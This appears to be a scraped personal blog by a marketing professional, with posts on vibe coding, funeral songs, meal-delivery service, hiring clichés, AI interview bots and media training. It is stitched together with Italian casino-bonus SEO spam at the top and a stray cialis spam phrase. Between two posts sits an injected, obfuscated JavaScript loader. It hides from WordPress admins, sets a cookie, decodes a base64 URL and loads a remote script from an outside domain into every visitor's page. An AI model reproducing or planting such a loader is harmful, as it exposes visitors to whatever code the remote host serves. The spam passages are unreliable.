Come utilizzare i giri gratis senza deposito: guida dettagliata per chi si avvicina a scommettere online in Italia

Per chi non sa da dove cominciare, avvicinarsi nel settore dei casinò online può sembrare impegnativo. Una delle possibilità più vantaggiose per i nuovi iscritti è il free spin senza deposito: un’promozione che consente di giocare con credito reale senza dover depositare nemmeno un euro. Tra le promozioni più popolari emerge il giri gratis senza deposito, pensato proprio per chi vuole partire senza preoccupazioni. In questa risorsa scoprirai tutte le informazioni necessarie per scoprire come opera, valutarne i pregi e scegliere il più adatto per le tue preferenze.

Cosa indica esattamente il bonus senza deposito e in che modo si attiva?

Il free spin senza deposito si presenta come una offerta esclusiva che i siti di gioco riservano ai nuovi clienti all’apertura del conto. Contrariamente alle tradizionali agevolazioni dei casinò, non bisogna effettuare alcun pagamento preventivo: è necessario solo effettuare la iscrizione e verificare la propria identità: il bonus è attribuito in automatico.

Tipicamente il bonus senza deposito prende due forme distinte: il saldo in denaro, versato direttamente al saldo del iscritto, e i giri omaggio (free spin), validi su determinate slot machine.In entrambe le ipotesi, è essenziale esaminare attentamente i termini e le clausole, in particolare i requisiti di wagering, cioè il numero di volte in cui è necessario giocare l’valore del bonus prima di riuscire a ritirare le eventuali guadagni.

Questi criteri sono imposti dai casinò per evitare eventuali utilizzi impropri, ma con attenzione si può trasformare un giri gratis senza deposito in un entrata reale. Per incrementare le chance di prelievo, è essenziale selezionare operatori con termini trasparenti, un requisito di puntata contenuto — possibilmente inferiore a 30x — e tempistiche di utilizzo sufficienti per completarlo.

Come districarsi tra i bonus senza deposito per trovare il più adatto in Italia

Individuare il free spin senza deposito migliore non è banale: ogni offerta ha caratteristiche diverse ed è essenziale valutare con attenzione diversi fattori prima di scegliere. Verificare che il casinò scelto sia autorizzato dall’ADM (Agenzia delle Dogane e dei Monopoli) è il primo step per giocare in modo protetto e con la sicurezza di trasparenza in Italia.

Ecco i principali criteri da esaminare prima di attivare un bonus senza deposito:

• Licenza ADM — prima di aprire un account, accertati sempre che il casinò sia autorizzato dalle autorità italiane
• Requisiti di puntata — è fondamentale selezionare offerte con un wagering ridotto — idealmente inferiore a 30x — per massimizzare le probabilità di ritiro
• Entità del bonus — prima di optare, confronta la quantità di denaro o free spin che i diversi piattaforme offrono
• Soglia di profitto — certi utenti conoscono del fatto che certi operatori fissano un tetto massimo alle guadagni derivanti dal bonus: informati sempre prima di giocare
• Titoli compatibili — considera che il bonus non si applica in ogni caso su l’intera offerta: verifica su quali giochi o tavoli è applicabile
• Scadenza dell’offerta — tieni a mente di verificare entro quanti giorni disponibili il bonus risulta utilizzabile e è necessario impiegato

Riflessioni finali

Grazie al giri gratis senza deposito, ogni giocatore può scoprire i casinò online italiani in modo protetto, senza mettere a rischio il proprio capitale e senza alcun impegno preventivo. Con un po’ di cura nella scelta della soluzione e nella lettura delle clausole, è possibile sperimentare un’sessione di gioco protetta e potenzialmente redditizia. Qualsiasi offerta tu utilizzi, ricorda di divertirti in modo responsabile e di appoggiarti unicamente a siti di gioco regolamentati dall’ADM.

50 euro bonus senza deposito : la risorsa esaustiva per i alle prime armi giocatori ai casinò italiani

Il mondo dei casinò online può apparire complesso da esplorare, soprattutto per i nuovi arrivati. Una delle opportunità più interessanti per i nuovi giocatori è il 50 euro bonus senza deposito: un’offerta che permette di giocare con credito reale senza dover versare nemmeno un euro. Chi desidera iniziare nel gioco online senza spendere nulla scoprirà nel 50 euro bonus senza deposito la offerta più vantaggiosa. In questa trattazione scoprirai come lavora, quali punti di forza presenta e come selezionare il più vantaggioso per le tue necessità.

Capisci cos’è il bonus senza deposito e come funziona nel dettaglio?

Il casino con bonus si configura come una promozione esclusiva che i casinò online mettono a disposizione ai nuovi clienti al momento dell’iscrizione. Contrariamente alle tradizionali offerte, il bonus non richiede alcun deposito anticipato: bastano pochi click per completare la iscrizione e avere il bonus erogato in modo immediato.

Esistono essenzialmente due tipologie di bonus senza deposito: il importo in contanti, che viene accreditato direttamente al conto del profilo utente, e i giri gratuiti (free spin), che è possibile sfruttare su determinate slot machine.In entrambe le situazioni, non va sottovalutata la consultazione dei regole e delle condizioni, in particolare i requisiti di puntata, vale a dire il totale di volte in cui occorre puntare l’ammontare del bonus prima di ritirare le eventuali somme vinte.

Questi criteri sono imposti dai casinò online per arginare eventuali frodi, ma con la giusta strategia si può convertire un 50 euro bonus senza deposito in un entrata concreto. Il punto chiave sta nel scegliere casinò con regole chiare, un requisito di wagering ridotto — preferibilmente sotto il 30x — e un lasso di tempo di scadenza adeguato per soddisfarlo.

I fattori da considerare per individuare il miglior bonus senza deposito in Italia

Poiché non tutti i casino con bonus sono equivalenti, per muoversi verso quello più adatto è essenziale valutare molteplici aspetti. In Italia, i operatori regolamentati devono disporre della licenza dell’ADM (Agenzia delle Dogane e dei Monopoli), condizione che assicura sicurezza e correttezza a tutti i appassionati.

Prima di accettare un bonus senza deposito, ecco i principali elementi da valutare:

• Licenza ADM — non dimenticare di verificare che il casinò sia regolamentato in Italia prima di registrarti
• Requisiti di puntata — è essenziale scegliere promozioni con un wagering ridotto — preferibilmente inferiore a 30x — per aumentare le possibilità di prelievo
• Valore del bonus — confronta la somma di denaro o free spin proposti tra diversi piattaforme
• Limite di profitto — superare il tetto massimo stabilito dal operatore implica che le guadagni superiori non saranno incassate: accertati sempre questo elemento prima di procedere
• Slot disponibili — prima di giocare, accertati su quali slot o giochi da tavolo il bonus può essere utilizzato, poiché non sempre include l’intera selezione
• Validità dell’bonus — non procrastinare: accertati subito entro quanti giorni disponibili il bonus risulta utilizzabile e organizza le tue partite per impiegarlo al meglio prima della fine

Per concludere

Il 50 euro bonus senza deposito si rivela un ottimo primo passo per chi intende conoscere i casinò digitali italiani senza mettere a rischio il proprio capitale. Con accortezza nella valutazione della soluzione e nel esame delle regole, chiunque può vivere un’esperienza di gioco sicura e potenzialmente redditizia. Ricorda sempre di partecipare in modo consapevole e di affidarti unicamente a casinò certificati dall’ADM.

Last week I attended an informal networking via Zoom that soon veered into Vibe Coding. Confession time – I was unfamiliar with the term and had to consult my friendly neighborhood search engine. It turns out that I was already a Vibe Coding rock star without knowing that’s what I was doing.

Vibe Coding is a fairly new (first documented a year or so ago) technique, in which developers use natural-language prompts to have AI agents (think Claude or ChatGPT) to write, debug, and iterate on code. According to its early adopters, it emphasizes rapid prototyping and “feeling” the code’s direction over manual syntax writing. So you are leveraging AI to help improve the code generated by humans.

My use case involved developing landing pages. Salesforce Account Engagement (formerly known as “Pardot”) is our marketing automation platform of choice. Although it produces nice emails and has some wonderful list-making features, the landing pages it produces are plain vanilla at best. Frustrated, I booked a session with Salesforce’s success team to discuss options for landing pages. Their answers ranged from denials to stifled yawns. Yes, they know their tool produces terrible landing pages, but enhancing the landing page capability is nowhere near the product roadmap.

So I went on an expedition to find landing pages that I liked and grab the source code. With more than 30 years of HTML programming (YIKES!) under my belt, I thought modifying the source code would be a breeze. Some of the pages were fairly easy to modify, but the challenge was getting the code to play nice in Salesforce and also the company’s website platform. The website is done in Squarespace. Why a company that provides consulting and claims processing services to health plans would have a website platform designed for consumer e-commerce is a mystery. Save that rant for another day. I was struggling a bit with the source code, so I thought I’d ask ChatGPT for help. So I fed the source code into ChatGPT and asked how it could be modified to suit. There was a lot of back and forth with ChatGPT, but ultimately – after a few hours of restating, reframing, and revising – it advised me on what code changes needed to be made.

The back and forth with AI is important to note. AI is only as good as the human that is using it. If you don’t know how to question AI’s output and course-correct, you are in for a huge problem. We’ve all seen AI slop. Vibe Coding is just the latest wrinkle in the story of how AI can make us smarter and better at our jobs. But you can’t just let it go off on its own. Humans have to be in the loop.

One of the more memorable lines from Monty Python and the Holy Grail is “But he’s not dead yet.” Neither am I nor are you since you’re reading this. But I have prepared a will and made instructions for what to do with what I’ve left behind. This is by no means a morbid post.

I happened to listen to a podcast of Introducing “Play This At My Funeral”: Dinah Alobeid x Laurie Ruettimann today. How I managed to miss the first 10 episodes is a mystery, but Dinah has been doing this podcast https://creators.spotify.com/pod/profile/play-this-at-my-funeral6/  for a season. She has had some incredible guests who have shared stories of the songs that shape our lives — and the ones we’d play at our funerals.

Here are a few songs I’d like to be played at my funeral, and why…

Funeral For a Friend/Love Lies Bleeding (Elton John)

The “Funeral for a Friend” part of the song is instrumental, so there goes the obvious. I used to play this song at keg parties because of its dynamics. It starts out quiet, almost morose, and then builds in intensity. Then it goes quiet again as synthesizers and piano take control, only to build out to a roar. You wind up shouting over it.

The Whole of the Moon (Waterboys)

This song encapsulates a positive attitude. The “you” character in the song may only see a crescent or a small part of something, but I saw the whole of the moon. A study in contrast. I like to think that I can see the positive in almost any situation.

Don’t Forget to Dance (Kinks)

Another mid-80s gem. Ray Davies has written some of the most incredible songs of the rock era, and this is my favorite of his compositions. You may think you’re done, but you’re just getting started. Sir Ray (he was knighted for his contributions to British culture) tossed it off as pompous love ballad, but in my opinion it is a sweet elegy. And who wouldn’t object to being the object of attention?

Friday I’m in Love (Cure)

Simply a beautiful little melody and it’s a ton of fun to crank up on guitar. I don’t care if Monday is blue. The song just makes me smile and lifts my spirits. Thank you, Robert Smith!

What a Wonderful World (Louis Armstrong)

An incredible trumpet player takes to the vocal mic. Even though he only explores two of the five senses, the listener feels fulfilled. The song was written specifically for Louis Armstrong in 1967 as solace for a nation still grieving over the murder of JFK and the escalating war in Viet Nam. Songwriter George Weiss said he was inspired by Armstrong’s ability to bring together people of different races. What a wonderful world, indeed.

Scenes From an Italian Restaurant (Billy Joel)

Give a fellow Long Island boy some props! This song is a short story about the New York experience, told through the lives of Brenda and Eddie. Fun Fact – I once worked at a company where I was back-and-forth reporting to a Brenda and then an Ed. Then Brenda, and back to Ed. This song was my earworm for almost seven years. The sax solo is one of the best ever, and the piano solo sets up a perfect singalong chorus. And I’m pretty sure the Parkway Diner is not one particular place, rather it’s a composite of some amazing Long Island eateries.

Angel in Blue (J Geils Band)

This deep cut from “Freeze Frame” portends something that happened to me at a young age that still leaves a mark. Like the character in the song, I met a girl in a bar on Chesapeake Bay (she was a stripper in Virginia Beach, and about 12 years older than me; although we dated for a while she never saw us as exclusive) who broke my heart. Perhaps I thought I could love her, but her response was don’t even bother to try. Ouch.

If We Never Meet Again (Roger McGuinn)

Maybe this is a bit of a cliché for a funeral, but the key takeaway for me is standing up for yourself. I wrote a blog post about a line from this song back in March 2024. The line “You can be what they’ve made you into, or you can make your own luck” has stuck with me for decades. To me it means pick yourself off the floor, find what works for you, and make your own luck with it. Add in the beautiful Rickenbacker chime of Roger McGuinn – the only rock star to personally answer an email from me – and you have an unforgettable, transformative musical experience. He may not have written the song, but he gave it new life.

Molly Malone (Irish standard, most famously done by the Irish Rovers)

Story songs belong to most every culture, and we Irish have a ton of them. It was tough to pick just one. I could have gone with the truly tear-inducing “The Wind That Shakes the Corn” where the new girlfriend is killed by a sniper’s bullet, or “Finnegan’s Wake” in which a drunken brawl breaks out mid-funeral, or this well-known song. My Irish penchant for melancholy kicks in full blast whenever I hear it. The narrator is infatuated with a ghost. She probably didn’t have much of a life, pedaling fish on a street corner, dragging around an ancient wheelbarrow, and died young of some horrible disease. What is it that attracts him to her? Probably the same reason I pined for a tabletop dancer all those many years ago.  

OK, now it’s your turn. What would you want people to hear at your funeral?

For more than 15 years, I’ve worked for companies that provide outsourced contact center services to health insurance plans. It is no secret that the healthcare sector is behind other sectors, especially in providing digital customer experience. Amazon has set a high bar, so every consumer expects an Amazon-like experience. Even though I am fresh from an inexcusably bad customer experience from a health insurance plan (see my post on Master Class in DSAT), I believe I’ve stumbled across one sub-sector that is worse.

In my most recent posts, I’ve shared that I had a heart valve replaced (open heart surgery) eight weeks ago. One of the recommendations the surgeon’s team made was ‘subscribe to a meal delivery service’ to reduce the manual labor going into mealtimes. It is amazing how many such services there are. Nearly every Facebook ad I am served up is a meal delivery service. They all have the same stock requests involving weight loss goals, managing conditions such as diabetes or gluten intolerance, or just making meal prep easier. Surprisingly, none of them have any heart-healthy choices. Somehow this corner of the population is not addressed at all. The marketer in me sees this as an opportunity, but these companies don’t even consider heart healthiness an option. All of them are tone deaf in their incessant email communication about weight loss goals. When you have open heart surgery, you lose about 15% of your body weight, so your weight is a different concern.

Although I will not identify any companies by name, I sampled from two meal delivery services. The first one (company A) delivered the meals for the week in a special package, which they asked me to leave on my doorstep after unpacking the meals. Nowhere in their communication did they say they only pick up their package on alternate Thursday afternoons. My HOA noticed and threatened punishment if I didn’t remove the package from my doorstep. Okay, so maybe execution is not company A’s forte. How was the food? It was somewhere between vintage TV Dinners and military surplus MRE. And not cheap. Company B did somewhat better on execution but did not allow any substitutions. None of their meals were anything I would have chosen, not to mention what I would have considered heart-healthy. It is all cheese-intensive slop. Although I immediately canceled all subsequent orders, they claimed my cancellation was late and sent me an identical order. Same slop, different day. Fortunately, I was able to give the food away but still had to pay for it.

Two miserable customer experiences. They didn’t have to be. What could they have done better?

• Be clearer about your policies, especially regarding product returns.
• Make it easy for people to buy from you. These meal delivery services all make you sign up with a credit card before choosing the first meal. This is backwards, not to mention a potentially sinister practice that ensures a horrible customer experience.
• Own up to deficiencies in your product line. If you don’t have heart-healthy products, admit it. Don’t be so quick to book the order if you clearly cannot provide for the customer.
• Ease up on the volume of emails. You’re on track to receive what I call The Groupon Award for Unreasonable Email Excess. Groupon was the king back in their day. I would receive 15 to 20 different emails per day from the online consumer marketplace. Same thing with food delivery services. I consider 15 emails a day from anyone to be excessive.
• Answer questions from potential customers. All of these services have a “chat” or “contact us” feature on their websites. I’ve written to about 30 such companies to ask if they have heart-healthy meals. Guess how many responded. Yep, zero responses in the past 5 weeks. Batting .000. Not even the Mendoza Line is a reachable goal. Are you too busy to learn from potential customers? Did you not train the chatbot to understand the request?
• Unsubscribe means just that. Take me off your list. Now.

Not that it is any consolation, but I believe I have found an industry that outdoes healthcare in providing a poor digital CX. And these are all newish companies, so there is no excuse for such poor operation.

You’ve probably heard these phrases somewhere in your journey. Maybe during interviews or discovery calls. There may be a kernel of truth somewhere, but they are really confessing some serious flaws in their business. This blog post describes how to decode those flaws and use them to your advantage.

If we close more deals, we will get more money for marketing.

Their truth: In my 30+ years as a marketing professional, I have seen no link between closed deals and increased marketing spend. This even applies to deals that were brought in by marketing. Somehow, the person I met at a trade show, who had never heard of our company, turns out to be an old friend of the salesperson. Spurious at best, but once that deal finally closes it will not lead to marketing getting any more money.

Honest answer: Use your CRM as the single source of truth. Make sure the deal has a marketing attribution. Maybe the first encounter was at a trade show or webinar. Perhaps the lead has been nurtured via campaigns. Look for some tie to a marketing program.

We prefer to promote from within.

Their truth: Although it may be true for disciplines such as engineering or clinical, promotions from within just don’t happen in marketing. In his recent CMO Ladder newsletter, Michael Wright notes that 21 new CMOs were announced globally last month: 9 women + 12 men, and NOT A SINGLE internal promotion. All external hires. Evidently, when it comes to succession planning, many companies are still outsourcing ambition. My experience is they see you for who you were when you joined. Whether it was the person who installed and maintains Salesforce, or the person who speaks to the press on behalf of your company, or the person who writes the LinkedIn posts, you are frozen in eternity in that role.

Honest answer: They probably do not promote marketers from within. Sadly, the organization views marketing as a clerical or administrative function rather than a key leadership role. same day cialis delivery houston

You own the marketing budget.

Their truth: Most organizations have levels of spending approval. But I’ve also been in companies where even a vice president had to seek approval for every transaction. Here is my example. A tradeshow booth was slightly damaged in shipping to the venue. I could repair it easily, but alas, the tube of super glue in my repair kit was dry. I ran across the street to Walgreens to buy a new tube. I fixed the booth, and the show went brilliantly. However, my expense report was rejected. Why? That $3 tube of super glue came out of nowhere and freaked out the finance people.

Honest answer: Be prepared to justify everything. Yes, everything.

We have no real competition.

Their truth: This is either coming from a stadium-sized ego, or someone who has a totally narrow view of a competitive landscape. Even if there are no direct competitors, you are still competing against alternative solutions, substitutes, and the customer’s budget. A prospect that chooses to perform a task in-house rather than outsourcing is a form of competition.

Honest answer: Go back to the problem your solution is meant to solve. Always ask who else is trying to solve the customer’s problem, not just those doing it in the exact same way you are. Successful companies got there because they provided a better experience than the existing competitors, not because they had no competition. 

You are our first marketing hire.

Their truth: This one should be a red flag during the interview process. Unless the company was literally founded last week, there is little chance that you will be their first marketing hire. Maybe not even their first full-time marketing person. I’ve heard this one a few times, only to find that there were lots of people who burned bridges with customers or salespeople, who may have had one of the skillsets of a marketer (graphic design, anyone?) but not the right combination of skills or considered the marketing role to be a sideline. The CRM is probably loaded with them.

Honest answer: Make the marketing role your own. Maybe you are the only person who has ever interacted with an industry analyst firm, or run trade shows, or developed a coherent product launch plan. Bring your own magic to the role.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

I happened to watch the NFL night game in which Miami’s great wideout Tyreek Hill got hurt. The network seemed to replay his injury repeatedly for a few painful minutes. The game stopped.

The following day, the Dolphins confirmed that Hill is out for the season with left knee dislocation and torn ligaments, including the Anterior Cruciate Ligament. Ouch. ACL tears come with estimates of roughly a one-year absence, but multiple ligaments being torn could result in a longer timetable.

Sadly, season-ending sports injuries are very common. One source said that in 2019, there were 158 players who suffered season-ending injuries out of roughly 2,000 players under contract to NFL teams. Football Hall of Fame quarterback Joe Theismann, whose own career was cut short by an in-game injury, said of the experience “Football is played by very large, fast men running at each other at top speed.” That doesn’t take away the pain, it just helps to characterize it.

Back to Tyreek Hill. Something struck me about watching Hill in the moments following his injury. When they put him onto the golf cart to take him off the field, he understandably must have been in extreme pain. But did you see the look on his face? He was smiling and waving to the fans in the stands. Let that sink in for a moment. A body part is twisted in the wrong direction, and he is smiling at the fans. We’re talking ear to ear grin. With a wave to match.

There are some lessons to learn here.

• Professional sports are played for the fans. He gets it.
• It is OK to put on a brave face. Smile in the midst of pain.
• It is also OK to cry once in a while.

Full disclosure – I watched that game from my hospital room, just a few days removed from open heart surgery. I was in pain but not smiling. My respect for Tyreek Hill grew geometrically.

We can all use a little more positivity in our lives. Recently I signed up for the Mindfulness newsletters that arrive in LinkedIn. This newsletter has more than 165,000 subscribers. Even though I grew up in the largest metro area in North America, I don’t think I know 165,000 people. These guys are definitely doing things right.

Today’s newsletter was more of a listicle. 7 Mini Mindfulness Boosts You Can Do in 10 Seconds.

Here goes…

1. One Slow Breath Inhale deeply… exhale slowly. A single conscious breath sends a wave of calm through the body and reboots focus. Try it – it works!
2. Gratitude Spark Think of one thing you’re grateful for right now, big or small. It activates positivity instantly. Gratitude moments are real. You can never have enough gratitude.
3. Stand Up & Stretch Gently release tension: stretch your shoulders, roll your neck, or simply lift your arms. Feel the shift. The thought here is to get out of your chair and get some movement happening. Tough to do when you’re in a chair for 8 or more hours a day, but well worth it.
4. Mindful Sip Hold a sip of tea or water. Notice its taste, temperature, texture. Then swallow with awareness. Maybe because I don’t know what “swallow with awareness” means, but to my surprise, this one didn’t work as well with coffee. So I switched to water for the mindful sip.
5. Sound or Posture Check Listen deeply to one ambient sound—or check your posture, straighten your spine, soften your shoulders.
6. Kind Thought or Mantra Silently repeat a phrase like “May I be calm” or “I am doing my best.” It is the positiveness of what you’re repeating that matters.
7. Anchor to Now Pause for a second. Notice what you see, hear, or feel. Bring yourself fully into this moment. Now we’re talking!

Why These Tiny Moments Matter

• These micro-resets may feel small – but research shows they support emotional balance, mental clarity, and better self-awareness, especially when repeated.
• Over time, these micro-moments form a mindfulness habit that grounds your mind throughout the day.

None of these adds more than a few seconds to what you’re doing in your day, but the value they bring is immeasurable. Kudos to the Mindfulness team for spreading the good news.

If you want to sign up for Mindfulness by Positivity, visit https://www.linkedin.com/company/positivity-said/posts/?feedView=all.

Many years ago, the content marketing team at HGS wrote a wonderful blog post about having a beer with a chatbot. The chatbot was a surprisingly engaging, witty, and articulate fellow. There was even a sequel piece a few months later. This was back in 2018, so the sheer power of AI as we know it today was barely hinted at in those days. AI chatbots have come a long way, or have they?

Nearly every department of a company can find a use case for deploying AI. Not content to merely use AI chatbots to screen resumes in the hunt for precious keywords (opting out of AI in favor of human eyes on your application was, alas, a brief trend), talent acquisition teams have begun deploying chatbots as job interviewers. Faceless voices and avatars backed by AI are increasingly being used in interviews. These autonomous interviewers are part of a wave of artificial intelligence known as “agentic AI,” in which AI agents are directed to act on their own to generate real-time conversations and build on responses.

The trend began, well intended enough, driven by tech start-ups that developed robot interviewers to help employers talk to more candidates and reduce the load on human recruiters.

But it doesn’t exactly work that way, at least not in my experience. Over the past few months, I’ve had two interviews with a chatbot – both experiences were negative. The AI interviewers are apparently trained to hear for certain responses, and when mine were different, the calls ended abruptly. I then received a generic rejection email; one was signed by the chatbot. Ouch.

Maybe I just haven’t met the right bot. The chatbots that interviewed me – these were from different companies, although both were for marketing leadership roles – frequently glitched and asked several questions in a row. I was given no time to answer.  The chatbots may not have been trained in open-ended questioning. Forget the opportunity to ask questions or seek clarification. The AI chatbot would just respond with variations on “oh that is a good question. We will have to get back to you on that.” These were transmit-only interviews that went nowhere.

My take? Deploying AI chatbots in the interview process is not ready for prime time. A company that doesn’t value your time enough to provide some human interaction doesn’t really want you there.  

I coined the phrase (at least I think I did, it may have appeared to me in a dream) stadium-sized ego to denote those C Suite executives who believe the whole world revolves around them and that the whole marketing purpose is to feed their ego. And their ego is much bigger than their physical form. So how do you train these people to be engaging and credible in front of journalists or analysts? It isn’t easy but it can be fun to put them in their place.

Few corporate executives have achieved their level of success by being a milquetoast. It takes a strong personality to found a company or rise to occupy a C level suite, and strong personalities often are encased within stadium-sized egos. This blog post describes how to coach such executives to treat journalists and analysts with respect, show that the entire world does not revolve around their product’s newest feature, and that the interview or briefing isn’t all about them.

First: It isn’t all about you

One needs to continually remind the egotistical C Suite denizen that there are X number of employees at the company. Unless they are a single shingle, then the old adage of “there is no I in Team” certainly applies. It took a village to bring that service or product to market. Spread a little love toward those who put in 100-hour weeks, endured rounds of scope and feature creep, and smiled through countless revisions of the messaging.

Second: The reporter or analyst isn’t as impressed with you as you are

What do you know about the reporter or analyst’s background? Have they worked with a lot of famous people? Maybe they once worked in the White House? Did they serve in the military and take enemy fire? Learn as much as you can of what they’ve done so you can put the stadium-sized ego into perspective. The next step is establishing some common ground, not a race to one-up them. So your C Suiter has been in the same room with Marc Benioff (okay, it was the Moscone Center and it was Dreamforce, so there were thousands of other people in the crowd). That’s nice. Oh, you’ve shaken hands with Larry Ellison? Move over Rover, so have millions of others. They spoke on the main stage at HLTH? They’re certainly not the only one. The point is to make connections. Maybe both the C Suiter and the reporter/analyst have served in the military, so put that commonality to good use.

Third: Treat the reporter with respect

Journalists tend to be very hard-working people, who are under significant pressures of fair and accurate reporting while adhering to deadlines. The pay scale of journalists (with the exception of a handful of broadcasters) is somewhere below that of a corporate executive. Word to the wise: treat the reporter with respect. They earned their place by working hard, learning their craft and subject matter, and establishing their credibility. Just because they drove to the office in a 2012 Mazda3 instead of the latest Mercedes AMG does not give the executive any reason not to treat them as a peer. 

The purpose of media training is to help your people to gain the confidence to communicate with the media and take control of interviews. I’ve offered semi-annual refresher courses for my executives for a few reasons – because people can forget something they haven’t heard in a while, there may be some new executives to onboard, and there might have been a mishandling of information or a misstep in communicating. But the key is morphing that huge ego into something engaging and inviting to the audience. The benefits of sublimating that stadium-sized ego are enormous.

Perhaps it is because I watched the 50th anniversary of Saturday Night Live specials this weekend (the music special had some amazing performances), or perhaps it is the upcoming turn of a certain age, but now seems like a good time to take stock and remark on an anniversary of my own. I started writing this blog fifteen years ago. My intentions were many: to experiment with then-nascent blogging technology, to keep the journalistic muscles exercised, to write about customer experience and marketing related topics, to feed the content beast, and of course to sprinkle in a bit of music.

For the most part, I’ve stayed true to the original intentions. Blog posts have covered how to relate to an audience, creating content that your readers will care about, making the most of what’s outside your control, lessons learned from the likes of David Bowie and the Grateful Dead (not to mention the Sex Pistols and Duran Duran), challenging yourself and going beyond your stretch goals, and more. I’ve taken issue with the sorry state of applicant tracking systems, and provided a sneak peek into two upcoming books.

The biggest challenge in writing a blog is having something to say. I am both my best editor and worst critic – usually at the same time. Will it resonate with anyone else? Do I come off as harsh? When is the right time to write this? Is my knowledge of the topic enough to write about it?

Fifteen years in, and I feel like I am just getting started. Thanks for reading.

Much of my love for literature and poetry comes from my paternal grandmother, who lived with us for about 15 years. She had a degenerative eye disease named Retinitis Pigmentosa. By age 40 she was completely blind. Despite losing her sight at a young age, she had a phenomenal memory for books, songs, and poems. She could recite entire lines and verses to suit almost any situation. It would take me many years to sort through whether they were classic poetry or dirty limericks. Sometimes both. One such poem she was fond of reciting was “when a hundred years have come and gone, and a hundred more to back it, who will be around to say t ’was I that wore the tattered jacket?”. Who wrote that line? Good question. My grandmother thought it was Robert Burns or possibly Nicholas Brady. ChatGPT claims it comes from “The Tattered Jacket” by Robert Service, although I’ve searched his archive and can’t find it. There is an Anglican hymn with a similar theme but none of the same lyrics. Regardless of who wrote it, the poem certainly is powerful.

What does the line mean? There are a few theories. One theory is the details of some events get lost in the passage of time. Who was the first woman inducted into the Rock and Roll Hall of Fame? That was a long time ago but an easy answer – Aretha Franklin! Ah, but who was the second? For this music trivia nerd, the answer is almost as easy – there were three (Florence Ballard, Diana Ross, and Mary Wilson of the Supremes). Although the first to accomplish a feat is almost always remembered, there are dozens of others who have also done it. So the tattered jacket could have been worn by anyone.

A second theory looks at the grand scheme of things. Does it really matter who did what and to whom? Maybe to a writer of murder mysteries. The butler doesn’t always do it.

The third theory involves attribution. Successful marketers can track (almost) every penny spent to a specific activity that either generates pipeline or publicity. That website retargeting campaign that brought in a $5 million per year client, or that random conversation at a trade show that sparked a discussion that a year later was a closed deal, or that blog post that an influencer listened to and called you to learn more. We all have a few of those in our portfolio. You can point to a particular element in the mix as the one igniting moment. Even with a sales cycle that can take years (and multi-million, multi-year deals often take a year or more to close), you can track an activity to it.

Yes, even after 100 years, you can still point to that campaign as the one that made the day.

My job search was conducted across four different workstreams:

• Applying to posted jobs
• Reaching out to LinkedIn connections
• Direct outreach – Researching companies based on industry news
• Interacting with headhunters

Each has their plusses and minuses as I’ve worked through them to land a job. Applying to posted jobs and interacting with headhunters are basically self-explanatory, so this blog post will lean into what I mean by direct outreach.

Direct outreach begins with news sources that will help you identify companies to target. There are tons of news sources out there. You can set up Google Alerts about specific companies or topics. News feeds such as Feedly are easy to set up and maintain. You can also search for newsletters about industry events. Companies such as Crunchbase, G2, or Owler that post reviews and comparisons of products can be very informative. In my previous post about the quantity of choices in the marketing tech stack, I found a lot of repository-with-calendar companies by feeding prompts into Crunchbase. You can also follow industry analyst firms, which has been my sweet spot. Most of them publish reports about companies in a space or discipline. The inventor of the industry analyst game is Gartner. They publish 80+ reports known as Magic Quadrants. These reports (and numerous others, such as Wave by Forrester, PEAK Matrix by Everest Group, and RadarView by Avasant) mention the capabilities of companies in a specific market, giving you a wide-angle view of the relative positions of the market’s competitors. Since I’ve piloted or co-piloted industry analyst relations programs for decades, I have relationships with those firms. I follow them on LinkedIn and look forward to their posts about new reports. The analysts will sometimes tag the companies that have participated in the reports, or at least those in leadership positions. Viewing the LinkedIn profiles of companies that are tagged is helpful because there are many companies with similar names.

Now that you know who the companies are, you’ll need to find out who to write to at the company. Since I’m looking for a role in marketing, I would start with the Chief Marketing Officer if they have one, or Chief Growth Officer (the senior executive who owns both sales and marketing). You can learn who these people are on LinkedIn or the company’s public website. Remember my blog post about email addresses and phone numbers? Here is where such contact details will come in handy.

Next, write to them! Start out with a bit of congratulations on making Everest Group’s Insurance Intermediaries Services PEAK Matrix® Assessment 2024 or whatever the credential is. Starting with something positive says many things – it shows you’re keeping up with current events, you know some recent news, you’re not making it all about you. and you are acknowledging a job well done. Then explain in a few bullets what you can do for them. Read your email again, and make sure you’ve personalized it. Make sure the addressee’s name and company are spelled correctly. Hit send.

Following up on the send is essential. I have a one-week rule. If they haven’t reached out to me first, I am on the phone to follow up one week after writing to them. A quick reminder that I wrote last week to congratulate them on the credential and let them know how I can help. Simple. It takes about 45 seconds to leave this as a voice mail message. Practice it a few times before picking up the phone.

Direct outreach is an approach that works. I’ve landed jobs lasting years with this method. You can too.

Finding a phone number for a business, or an executive at that business, shouldn’t be an Olympic sport. But find phone numbers is getting increasingly difficult and complicated. The once-common practice of companies listing a phone number in the footer of their website is long gone. Even the investor or media contacts at an organization (me included) have removed their phone numbers from news releases. I did it out of self-defense, because I was getting inundated with calls for employment verification, accounts payable, and sales pitches for everything you could possibly imagine. And even several months after leaving my last role, I still get these calls.

